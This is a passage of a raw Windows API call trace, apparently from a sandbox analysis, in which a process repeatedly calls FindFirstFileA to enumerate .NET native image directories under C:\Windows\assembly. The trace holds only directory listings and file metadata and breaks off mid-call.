[0237.921] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\EventViewer\\654c5baca16d72756296ab1d927ea4a8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5916e571, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb2b35a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2b35a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcepg\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a034480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d9700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2d9700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcepg\\38e4b4d4c4cf98e359438769fae66149\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a034480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d9700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2d9700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a1b1240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d9700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2d9700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.947] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstore\\740a64a316ada107a23dd34f35ae3b94\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a1b1240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2ff860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2ff860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.954] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstoredb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2e1d40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2ff860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb2ff860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstoredb\\c359669d601990310a6b30ab5992ffa8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2e1d40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3259c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3259c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.966] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8af2e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3259c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3259c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.971] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\c285072157ebf5c07677e9d813ba45d4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a9dfde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3259c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3259c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.976] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\cdb429c8c7738b77dd919b4b917b2078\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8af2e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb34bb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb34bb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.982] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Con#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4839e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb34bb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb34bb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Con#\\942c10614a6f8c8a22d1f74e217a11d6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4839e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb34bb20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb34bb20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.993] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6006a7fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb371c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb371c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.998] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\14afe54e24cf09fe6c371fc47cfabf0e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x607688aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb371c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb371c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.004] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\e4031bd0b7706fd0a686e9bb6353aa2a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6006a7fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb371c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb371c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.015] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6014f03f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb397de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb397de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.022] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\4c0fa9d495ac562afcb136f3e9a87cb9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6014f03f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb397de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb397de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\84b83e7639310b35b5ce150df62a2843\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60957a8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3bdf40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3bdf40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.038] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613e7c41, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3e40a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3e40a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.046] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\880a680b2160130c8cf858a7d2a9067d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613e7c41, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb3e40a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb3e40a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.054] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\d7245402b9853a8e390552ba45b3a6b4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x620d93f9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb40a200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb40a200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x622a247d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb40a200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb40a200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.068] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\30f8865f88bb953486fd20650b54177c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x624b77c0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb40a200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb40a200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.089] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\dfb5532e4cf07b7324280988a3e1cca4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x622a247d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4564c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4564c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.096] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae7c880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4564c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4564c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.103] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\0261a298f938ba71a7aab6f91dad326d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b769b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb47c620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb47c620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.110] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\1901ba5041844f16d62ecf639548c760\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae7c880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb47c620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb47c620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.117] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\4795e3a744b493733f9f2696a5cd8a67\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b319320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4a2780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4a2780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.125] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62d7e8f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4a2780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4a2780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.133] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Ink\\b0d0daea6a1d9a111a0f33a9a868bcf7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62d7e8f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4c88e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4c88e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.JScript\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ec08b78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4c88e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4c88e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.147] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.JScript\\b3fde69f9642ab464bd3389f1fe3c5bd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ec08b78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4eea40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4eea40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.157] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Managemen#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59572a99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb4eea40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb4eea40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.164] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Managemen#\\630257a0b042768c2e3104a36559c1a9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59598bf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb514ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb514ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.171] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69cc84e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb514ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb514ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.189] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\d22ec1c367b915c4028867244c6a1623\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69cc84e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb53ad00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb53ad00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.195] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\e7b8df5d803bb9bd27f63f0074775aaf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69d86bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb560e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb560e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.200] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ed5c0f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb560e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb560e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0238.206] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\2c88820845f81a85c8caf6975d73c992\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24060030, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb560e60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb560e60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Office.To#\\adf2ed57d59e50c7b25f9f8869d09e36\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fa510, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xb586fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xb586fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0238.219] FindFirstFileA (in: 